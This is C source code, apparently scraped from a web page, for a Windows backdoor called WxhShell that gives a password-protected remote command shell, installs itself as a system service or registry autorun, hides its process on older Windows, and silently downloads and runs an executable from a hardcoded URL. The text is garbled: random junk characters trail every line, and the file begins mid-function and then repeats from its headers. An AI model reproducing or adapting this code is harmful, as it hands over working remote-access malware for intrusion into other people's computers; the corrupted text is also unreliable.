    if(Boot(SHUTDOWN)) n 9PYZxy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*]n#+=  
    else { l|9' M'a  
    closesocket(wsh); Je5}Z.3m  
    ExitThread(0); m}hEi  
    } T\?$7$/V  
    break; z{`K_s%5  
    } \| &KD  
  // 获取shell HCfme<'  
  case 's': { #9zpJ\E  
    CmdShell(wsh); y)vK=,"  
    closesocket(wsh); /#jH #f[  
    ExitThread(0); 6I2` oag  
    break; 0Q?)?8_  
  } FkE)~g  
  // 退出 p>_Qns7W  
  case 'x': { & 6'Rc#\P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sPX&XqWx  
    CloseIt(wsh); FJ,"a%m/Q  
    break; }C4wED.  
    } s|IY t^  
  // 离开 6~c#G{kc  
  case 'q': { 5C0![ $W>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iR?}^|]  
    closesocket(wsh); !6!Gx:  
    WSACleanup(); Co>e<be%S  
    exit(1); M8nfbc^  
    break; o3]Lrzh  
        } f7YBhF  
  } h4Wt oE>i  
  } o1`\*]A7J  
I+=+ ,iXhB  
  // 提示信息 b:Z&;A|"{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A:y HClmn  
} 3P@D!lV&K  
  } 5skxixG  
3ew4QPT'  
  return; wU6sU]P  
} m< H{@ZgN(  
n,U?]mr  
// shell模块句柄 ZDg(D"  
int CmdShell(SOCKET sock) KpA1Ac)T  
{ ?4A/?Z]ub  
STARTUPINFO si; H-vHcqFx3  
ZeroMemory(&si,sizeof(si)); 3xT9/8*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .G.WPVE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '2GnAws^  
PROCESS_INFORMATION ProcessInfo; ^/_Yk.w  
char cmdline[]="cmd"; /~M H]Gh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o^XDG^35`  
  return 0; SQ_Je+X  
} Q$uv \h;  
Kci. ,I  
// 自身启动模式 WQ{[q" O  
int StartFromService(void) `78Bv>[A  
{ ~)^'5^  
typedef struct ;z.L^V0  
{ oNZ_7tU  
  DWORD ExitStatus; dvZH~mF  
  DWORD PebBaseAddress; (:aU"5M  
  DWORD AffinityMask; dgL>7X=7  
  DWORD BasePriority; D/?Ec\ t  
  ULONG UniqueProcessId; NMe{1RM  
  ULONG InheritedFromUniqueProcessId; +$|fUn{  
}   PROCESS_BASIC_INFORMATION; W:,Wex^9n  
]} dQ~lOE  
PROCNTQSIP NtQueryInformationProcess; k,[*h-{8  
D"rbQXR7$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #MKM.T,\t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #=t/wAE y:  
T]ls&cW5  
  HANDLE             hProcess; u<Y#J,p`e  
  PROCESS_BASIC_INFORMATION pbi;  =*&[K^  
l|=4FIMD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +LF#XS@  
  if(NULL == hInst ) return 0; w8XCU> |  
f. "\~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xNzGp5H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nai5!_'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?u|@,tQ[  
4qE95THB  
  if (!NtQueryInformationProcess) return 0; _Z23lF 9  
8LbwEKl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )\|+G5#`  
  if(!hProcess) return 0; ]QhTxrF"  
W7^[W.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xx"<^FS[zC  
G@.MP| 2  
  CloseHandle(hProcess); x2rAB5r6  
#L~i|(=U5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ikW[lefTq  
if(hProcess==NULL) return 0; CZ<T@k  
N ~{N Nf Y  
HMODULE hMod; lG}#K^q  
char procName[255]; H/c (m|KK  
unsigned long cbNeeded; ]3rVULU"K-  
Iko]c_W0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VG);om7`PD  
|5bLV^mv]i  
  CloseHandle(hProcess); N-gYamlQ  
u.|Z3=?VG  
if(strstr(procName,"services")) return 1; // 以服务启动 F!]Sr'UA  
Ot2o=^Ng  
  return 0; // 注册表启动 } o%^ Mu B  
} L5-|-PP|;  
MKl0 d  
// 主模块 _!nsEG VV  
int StartWxhshell(LPSTR lpCmdLine) q`VL i  
{ WwDM^}e  
  SOCKET wsl; 3 r&  
BOOL val=TRUE; O$<>v\NC?  
  int port=0; :OG I|[  
  struct sockaddr_in door; %GHGd'KO&  
T#) )_aC  
  if(wscfg.ws_autoins) Install(); wY8:j  
{_QdB;VwH  
port=atoi(lpCmdLine); f8Iddm#  
p+ CUYo(  
if(port<=0) port=wscfg.ws_port; iRzFA!wH  
<s9?9^!!V^  
  WSADATA data; cJ;Nh>ey  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~SnUnNDm`  
j*jUcD *  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *.DC(2:o!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *yu}e)(0  
  door.sin_family = AF_INET; g8W,Xq+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JE=t e(a  
  door.sin_port = htons(port); X\AH^I6S  
nlwqSXw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xu2 KEwgb  
closesocket(wsl); S/nPK,^d2  
return 1; Zh=a rlk  
} 2 T!Tiu  
9} (w*>_L  
  if(listen(wsl,2) == INVALID_SOCKET) { 558P"w0"X  
closesocket(wsl); 9a}9cMJ^"  
return 1; M|WBJ'#x0  
} Y%pab/Y  
  Wxhshell(wsl); fpD$%.y'J  
  WSACleanup(); ghk=` !yKw  
Zw.8B0W  
return 0; 7>FXsUt_  
 =<HDek  
} 9R50,l sE  
S<tw5!tJ  
// 以NT服务方式启动 M+)a6ge  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1( pHC  
{ Wg']a/m  
DWORD   status = 0; lW+mH=  
  DWORD   specificError = 0xfffffff; -(qRC0V  
Zh"m;l/]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [#PE'i4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ZjT_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lQn" 6o1  
  serviceStatus.dwWin32ExitCode     = 0; |9CikLX)7  
  serviceStatus.dwServiceSpecificExitCode = 0;  I//=C6  
  serviceStatus.dwCheckPoint       = 0; g.lTNQm$u  
  serviceStatus.dwWaitHint       = 0; *'%V}R[>  
&Y]':gJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +y GQt3U  
  if (hServiceStatusHandle==0) return; d*gAL<M7E  
dzf2`@8#  
status = GetLastError(); w!.@64-  
  if (status!=NO_ERROR) BOs/:ZbK0W  
{ LG #^g6P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BR,-:?z  
    serviceStatus.dwCheckPoint       = 0; }qNc `8h  
    serviceStatus.dwWaitHint       = 0; G t w>R  
    serviceStatus.dwWin32ExitCode     = status; $Ome]+0  
    serviceStatus.dwServiceSpecificExitCode = specificError; c8l>OS5i3_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4.wd RK  
    return; +iVEA(0&$  
  } 3/G^V'Yu  
N[%u>!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8v4}h9*F"7  
  serviceStatus.dwCheckPoint       = 0; S c)^k  
  serviceStatus.dwWaitHint       = 0; _?{7%(C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JJ?{V:  
} Ei;tfB  
C|'DKT4M&  
// 处理NT服务事件,比如:启动、停止 ([>ecS@eO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PRKZg]?  
{ o/5-T4  
switch(fdwControl) ARk(\,h  
{ ']_2@<XW)  
case SERVICE_CONTROL_STOP: *rxr:y#Ve  
  serviceStatus.dwWin32ExitCode = 0; 5/meH[R\M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HA6tGZP*L  
  serviceStatus.dwCheckPoint   = 0; i "8mrWb  
  serviceStatus.dwWaitHint     = 0; [>=!$>>;8  
  { rP@#_(22  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p>6`jr  
  } O9=/\Kc  
  return; ~+q1g[6  
case SERVICE_CONTROL_PAUSE: 2MkrVQQ9g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l$42MRi/  
  break; "M I';6  
case SERVICE_CONTROL_CONTINUE: A1WUK=P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F3tps jQ  
  break; d*(aue=  
case SERVICE_CONTROL_INTERROGATE: 1b,a3w(:1  
  break; e8m,q~%#/  
}; H;H=8'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @u~S!(7.Wi  
} baxZ>KNi  
)*')  
// 标准应用程序主函数 I>c,Bo7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k+<9 45kC  
{ N8<J'7%  
u v%Q5O4  
// 获取操作系统版本 bJ^JK  
OsIsNt=GetOsVer(); >ohH4:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &w@]\7L,:  
Z8$}Rpo  
  // 从命令行安装 n 8cA8<  
  if(strpbrk(lpCmdLine,"iI")) Install(); v2T2/y%  
lCi{v.  
  // 下载执行文件 mU'<:gL+  
if(wscfg.ws_downexe) { RNg?o [S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 96=<phcwN[  
  WinExec(wscfg.ws_filenam,SW_HIDE); oA1_W).wJ  
} TP }a9-9?  
fi+}hGj(r  
if(!OsIsNt) { .[|UNg  
// 如果时win9x,隐藏进程并且设置为注册表启动 SZykG[  
HideProc(); iD^,O)b  
StartWxhshell(lpCmdLine); IwYeKN6s  
} rK3kg2H  
else 3jmo[<p*x  
  if(StartFromService()) .@1+}0  
  // 以服务方式启动 -m@o\9Ic  
  StartServiceCtrlDispatcher(DispatchTable); h`[$ Bp  
else .*O*@)}Ud  
  // 普通方式启动 L/3A g* ]  
  StartWxhshell(lpCmdLine); .RD<]BxJ  
=c8}^3L~7  
return 0; 7"(!]+BW!O  
} m|*B0GW  
_O9V"DM  
rb*|0ST  
te_2"Z  
=========================================== `lf_wB+I  
@]\fO)\f  
'&>"`q  
, X5.|9  
1.hWgWDP  
aSR-.r  
" `~1!nfFD  
,_z79tC{s  
#include <stdio.h> { U4!sJSl1  
#include <string.h> /dnwN7Gf  
#include <windows.h> &kb`)F3nU  
#include <winsock2.h> "*g+qll!5d  
#include <winsvc.h> X/_I2X  
#include <urlmon.h> AtT7~cVe  
JsEJ6!1  
#pragma comment (lib, "Ws2_32.lib") Qg>NJ\*Q  
#pragma comment (lib, "urlmon.lib") rd <m:r  
w5FIHYl6B  
#define MAX_USER   100 // 最大客户端连接数 I-#H+\S  
#define BUF_SOCK   200 // sock buffer %? ~'A59  
#define KEY_BUFF   255 // 输入 buffer &@=Jm /5  
KE?t?p  
#define REBOOT     0   // 重启 qwTz7r  
#define SHUTDOWN   1   // 关机 P.~UU S  
| dQ>)_  
#define DEF_PORT   5000 // 监听端口 kVn RSg}R  
X>(1fra4  
#define REG_LEN     16   // 注册表键长度 ,67Q!/O  
#define SVC_LEN     80   // NT服务名长度 A40DbD\^ad  
('J/Ww<  
// 从dll定义API o3WOp80hz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C{)1#<`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K#"=*p,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,p2UshOmd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q*M#e  
_3IT3mb2n  
// wxhshell配置信息 "be\%W+<  
struct WSCFG { 'nmGHorp  
  int ws_port;         // 监听端口 VQ=  
  char ws_passstr[REG_LEN]; // 口令 !2!~_*sGe  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7>hcvML  
  char ws_regname[REG_LEN]; // 注册表键名 unDW2#GX  
  char ws_svcname[REG_LEN]; // 服务名 3:nhZN/95T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0KA*6]h t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SmXJQ@jN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7?lz$.*Avp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U~G7~L &m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "8za'@D"f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D%>Bj>xQD  
6)[moR{N1  
}; "1o{mvCkR  
7lC$UQx8  
// default Wxhshell configuration !z?   
struct WSCFG wscfg={DEF_PORT, MGdzrcF  
    "xuhuanlingzhe", kBUkE-~  
    1, D?Oe";"/  
    "Wxhshell", ]4~Yi1]  
    "Wxhshell", +IZ=E >a  
            "WxhShell Service", VZ]iep  
    "Wrsky Windows CmdShell Service", "&(/bdah?&  
    "Please Input Your Password: ", e02Hf{eOfw  
  1, Ae5A@4  
  "http://www.wrsky.com/wxhshell.exe", 4KPn V+h"b  
  "Wxhshell.exe" O>`k@X@9/  
    }; kUBE+a6#  
?<Qbp;WBo  
// 消息定义模块 q` S ~w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y:*% [\R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~!uX"F8Xl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `$a!CJu,  
char *msg_ws_ext="\n\rExit."; rzY)vC+ZT  
char *msg_ws_end="\n\rQuit."; aIgexi,  
char *msg_ws_boot="\n\rReboot..."; KpN]9d   
char *msg_ws_poff="\n\rShutdown..."; X G#?fr}L  
char *msg_ws_down="\n\rSave to "; &YFe"C  
>N&{DJmD  
char *msg_ws_err="\n\rErr!"; #N{]  
char *msg_ws_ok="\n\rOK!"; A %w9Da?B  
fECV\Z  
char ExeFile[MAX_PATH]; j26i+Z  
int nUser = 0; =7!s8D,[  
HANDLE handles[MAX_USER]; rfV'EjiM}  
int OsIsNt; (Ypy}  
jUT`V ZK4&  
SERVICE_STATUS       serviceStatus; *%uzLW0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U~ X  
E}wT5t;u  
// 函数声明 a\sK{`|X*  
int Install(void); DJGafX^  
int Uninstall(void); 9.)z]Gav  
int DownloadFile(char *sURL, SOCKET wsh); zC50 @S3|  
int Boot(int flag); 5(~Lr3v0  
void HideProc(void); kBP?_ O  
int GetOsVer(void); i)l0[FNI}  
int Wxhshell(SOCKET wsl); iXWzIb}CJ-  
void TalkWithClient(void *cs); fY]"_P  
int CmdShell(SOCKET sock); k(H&Af+  
int StartFromService(void); AKk=XAGW  
int StartWxhshell(LPSTR lpCmdLine); b'wy{~l@  
. 0dGS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bzz|2/1y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e'b*_Ps'  
~+.=  
// 数据结构和表定义 z ]f(lwo{  
SERVICE_TABLE_ENTRY DispatchTable[] = #-|fdcb  
{ 1dvP2E  
{wscfg.ws_svcname, NTServiceMain}, o Mz{j:  
{NULL, NULL} Ry95a%&/s  
}; *eg0^ByeD  
"DN,1Q lCp  
// 自我安装 f y2vAwl  
int Install(void) w|dfl *  
{ ss-W[|cHU  
  char svExeFile[MAX_PATH]; (]w6q&,  
  HKEY key; e&sH<hWR  
  strcpy(svExeFile,ExeFile); <F^9ML+'  
\Zf=A[  
// 如果是win9x系统,修改注册表设为自启动 Byq VNz0L  
if(!OsIsNt) { QC'Ru'8S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i]n2\v AG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cGm3LS6]*  
  RegCloseKey(key); Z/,R{Jgt"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #91^1jyMf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %P}H3;2  
  RegCloseKey(key); %OoH<\w w  
  return 0; kA=5Kc  
    } kq| !{_  
  } G#[A'tbKk  
} *iB&tWv  
else { eb7UA=[Z  
{Q>OZm\+  
// 如果是NT以上系统,安装为系统服务 A=kOSq 4Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cab-:2L]  
if (schSCManager!=0) 1$RJzHS  
{ J0V m&TY  
  SC_HANDLE schService = CreateService ILr=< j  
  ( f2~Aug  
  schSCManager, <T>s;b  
  wscfg.ws_svcname, MK3h~`is  
  wscfg.ws_svcdisp, Y. J!]|  
  SERVICE_ALL_ACCESS, VL)<u"d4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H!*ypJ  
  SERVICE_AUTO_START, U/'l"N[  
  SERVICE_ERROR_NORMAL, G^B> C  
  svExeFile, RB4n>&Y  
  NULL, k86TlQRh  
  NULL, 7"eK<qJ  
  NULL, 89>}`:xS^  
  NULL, af<h2 r  
  NULL np2&W'C/i  
  ); p2Khfl6-  
  if (schService!=0) *AV%=   
  { Uha.8  
  CloseServiceHandle(schService); D>k(#vYKB  
  CloseServiceHandle(schSCManager); XQ~Xls%]   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U4 *u|A  
  strcat(svExeFile,wscfg.ws_svcname); YE@yts  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e-*@R#x8+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r10VFaly  
  RegCloseKey(key); CHTK.%AQH!  
  return 0; n*"r!&Dg  
    } 1\}XL=BE  
  } Z,"4f*2  
  CloseServiceHandle(schSCManager); .Wt3|?\=nd  
} U 2-{p  
} z&QfZs  
o/3.U=px~  
return 1; Sm<*TH!\n_  
} ~AjPa}@ f  
]AQ}_dRi=  
// 自我卸载 fY^CI b$Y  
int Uninstall(void) M(L6PyEa!Y  
{ LxIGPC~  
  HKEY key; 3w)r""C&  
(s&:D`e  
if(!OsIsNt) { I?Iz5e-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?L\"qz%gP  
  RegDeleteValue(key,wscfg.ws_regname); 6=n|Ha  
  RegCloseKey(key); 0g30nr)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  @_f^AQ  
  RegDeleteValue(key,wscfg.ws_regname); s! 2[zJ19p  
  RegCloseKey(key); hZfj$|<  
  return 0; ]y.V#,6e  
  } (o*YGYC  
} 7d R?70Sz  
} d4ecF%R  
else { Nl[&rZ-&  
S3/%;=|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1J0gjO)AZ  
if (schSCManager!=0) /?r A|  
{ l<XYDb~op  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q>D//_TF  
  if (schService!=0) 8\68NG6o  
  { H?O5 "4a  
  if(DeleteService(schService)!=0) { 6!>p<p"Ns  
  CloseServiceHandle(schService); XfE0P(sE  
  CloseServiceHandle(schSCManager); %SB4_ r*<  
  return 0; @\nQ{\^;  
  } 7SS#V  
  CloseServiceHandle(schService); ]=t}8H  
  } QL8C!&=  
  CloseServiceHandle(schSCManager); k 6M D3c  
} el`?:dY H  
} y>}r  
h&K$(}X  
return 1; Hrpz4E%\Aw  
} rX)&U4#[m  
.O"a:^i  
// 从指定url下载文件 W+ ;=8S  
int DownloadFile(char *sURL, SOCKET wsh) (=uT*Cb  
{ C*ep8{B  
  HRESULT hr; ewd eC  
char seps[]= "/"; i=\)[;U  
char *token; QTBc_Z  
char *file; VOD-< "|  
char myURL[MAX_PATH]; Awa| (]  
char myFILE[MAX_PATH];  nBp6uNK[  
}0pp"[JU  
strcpy(myURL,sURL); /%g9g_rt#  
  token=strtok(myURL,seps); \_O#M   
  while(token!=NULL) "<+~uz  
  { (Ff}Y.4  
    file=token; %IBT85{  
  token=strtok(NULL,seps); _U&HXQ8X  
  } UB5H8&Rf!  
["f6Ern  
GetCurrentDirectory(MAX_PATH,myFILE); 27fLW&b2  
strcat(myFILE, "\\"); =V|jd'iwx  
strcat(myFILE, file); <&Xl b0  
  send(wsh,myFILE,strlen(myFILE),0); jUM'f24  
send(wsh,"...",3,0); l,hOnpm9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U2m#BMV  
  if(hr==S_OK) <c[\\ :Hh*  
return 0; />mK.FT  
else g ptf*^s  
return 1; xjr4')h  
T`wDdqWbEG  
} QNOdt2NN  
vY_[@y  
// 系统电源模块 `2]0 X#R  
int Boot(int flag) pk9Ics;y  
{ 1v|-+p42  
  HANDLE hToken; VA[EY`8  
  TOKEN_PRIVILEGES tkp; Hc'Pp{| X  
@U8u6JNK'  
  if(OsIsNt) { :.ZWYze  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"+7cc@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *Z"`g %,;  
    tkp.PrivilegeCount = 1; &PE%tm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lq5xp<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 60^j<O  
if(flag==REBOOT) { >\[]z^J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -B#1+rUW  
  return 0; U.,S.WP+d  
} =_pSfKR;  
else { AwNr}9`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "W"^0To  
  return 0; vcdVck@  
} " Bx@(  
  } 9{OO'at?  
  else { 6Yn>9llo}=  
if(flag==REBOOT) { (*$F7oO<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2pdeJ  
  return 0; FShjUl>mV  
} R?iCJ5m  
else { Qz(2Iu{E]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c+3`hVV  
  return 0; QO}~"lMj  
} Q~nVbj?c2v  
} ':pDlUA  
ns>$  
return 1; A .&c>{B7  
} w@^J.7h^  
?)-6~p 4N  
// win9x进程隐藏模块 Mc.{I"c@  
void HideProc(void) |gI>Sp%Fu  
{ pFS@yHs  
**%&|9He  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $x'jf?zs!  
  if ( hKernel != NULL ) pL1ABvBB  
  { Rb:H3zh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q&:)D7m\)S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rQ{|0+l  
    FreeLibrary(hKernel); zA9q`ePS  
  } : |s;2Y  
C33Jzn's  
return; 4,LS08&gh  
} kMCP .D45;  
pF8$83S  
// 获取操作系统版本 cxs@ph&Wk  
int GetOsVer(void) $B-/>Rz  
{ %TQ4 ZFD3  
  OSVERSIONINFO winfo; |p[Mp:^^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &Tt7VYJfIV  
  GetVersionEx(&winfo); -+@N/d5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n#x_da-m]  
  return 1; ]%D!-[C%1  
  else x t-s"A  
  return 0; "b`#RohCi  
} dh`s^D6Q>  
[T_[QU:A  
// 客户端句柄模块 aeUgr !  
int Wxhshell(SOCKET wsl) jdG2u p  
{ HSNj  
  SOCKET wsh; ;S U<T^a  
  struct sockaddr_in client; ?h4[yp=w  
  DWORD myID; %cn 1d>M+I  
8_!qoW@B  
  while(nUser<MAX_USER) Y^Buz<OiG  
{ &*OwoTgk+  
  int nSize=sizeof(client); :ir#7/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %U{sn\V  
  if(wsh==INVALID_SOCKET) return 1; P_3IFHe  
$a~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N9M}H#  
if(handles[nUser]==0) TNqL ')f  
  closesocket(wsh); 4j3_OUwWZx  
else 5go)D+6s  
  nUser++; I[&x-}w  
  } 8(4!x$,Z5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |iUF3s|?  
Pr} l y  
  return 0; [8za=B/  
} kEq~M10  
2?%*UxcO  
// 关闭 socket dY}5Kmt  
void CloseIt(SOCKET wsh) HE+'fQ!R  
{ U>*@VOgB  
closesocket(wsh); I*TTD]e'X  
nUser--; ?<t?G  
ExitThread(0); dYISjk@  
}  it H  
@I4HpY7:  
// 客户端请求句柄 mh"PAp  
void TalkWithClient(void *cs) LAc60^t1  
{ *Hn=)q  
zqj|$YNC  
  SOCKET wsh=(SOCKET)cs; Fxa{ 9'99  
  char pwd[SVC_LEN]; ,|RKM  
  char cmd[KEY_BUFF]; JvXuN~fI{[  
char chr[1]; poafGoH-Y  
int i,j; E'{:HX  
@lDnD%vZ`  
  while (nUser < MAX_USER) { .>;??BG}  
< !m.+  
if(wscfg.ws_passstr) { <7`k[~)VB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O<p=&=TD7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bJMsB|r  
  //ZeroMemory(pwd,KEY_BUFF); t }4  
      i=0; VE]TT><  
  while(i<SVC_LEN) { #L!`n )J"  
Ec<33i]h*p  
  // 设置超时 UucX1%  
  fd_set FdRead; r8YM#dF  
  struct timeval TimeOut; ROTKK8:+:  
  FD_ZERO(&FdRead); FFZ?-sE  
  FD_SET(wsh,&FdRead); 0@?m"|G  
  TimeOut.tv_sec=8; tLKf]5}f  
  TimeOut.tv_usec=0;  cRK Lyb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8OOAPp$%|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s2,6aW C  
D6lzc f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vWmt<E|e  
  pwd=chr[0]; K@n-#  
  if(chr[0]==0xd || chr[0]==0xa) { m#WXZr  
  pwd=0; ep3VJ"^  
  break; 6k@F?qHS  
  } ]/h$6mrL  
  i++; '['%b  
    } FUSe!f  
nL^7t7mp  
  // 如果是非法用户,关闭 socket `%[m%Y9h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c86?-u')  
} <=|^\r !}&  
1:<n(?5JI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p}==aNZK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "a;$uW@.6  
7@ONCG  
while(1) { , SUx!o  
U^[AW$WzU  
  ZeroMemory(cmd,KEY_BUFF); i;~.kgtq4  
sQ\HIU%]  
      // 自动支持客户端 telnet标准   7p'pz8n`X  
  j=0; 5+{oQs_  
  while(j<KEY_BUFF) { 5xKod0bA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KU "+i8"  
  cmd[j]=chr[0]; Il\{m?Y  
  if(chr[0]==0xa || chr[0]==0xd) { |a])o  
  cmd[j]=0; O=}  
  break; p5rq>&"  
  } 93Gj#Mk  
  j++; IIMf\JdM  
    } T*B`8P  
'S}3lsIE  
  // 下载文件 hB<(~L? A]  
  if(strstr(cmd,"http://")) { ghW`xm87  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _)pOkS  
  if(DownloadFile(cmd,wsh)) *eXs7"H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |#t^D.j  
  else !ckluj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U43U2/^  
  } DJdhOLx  
  else { Q& d;UVp  
HqqMX`Rof  
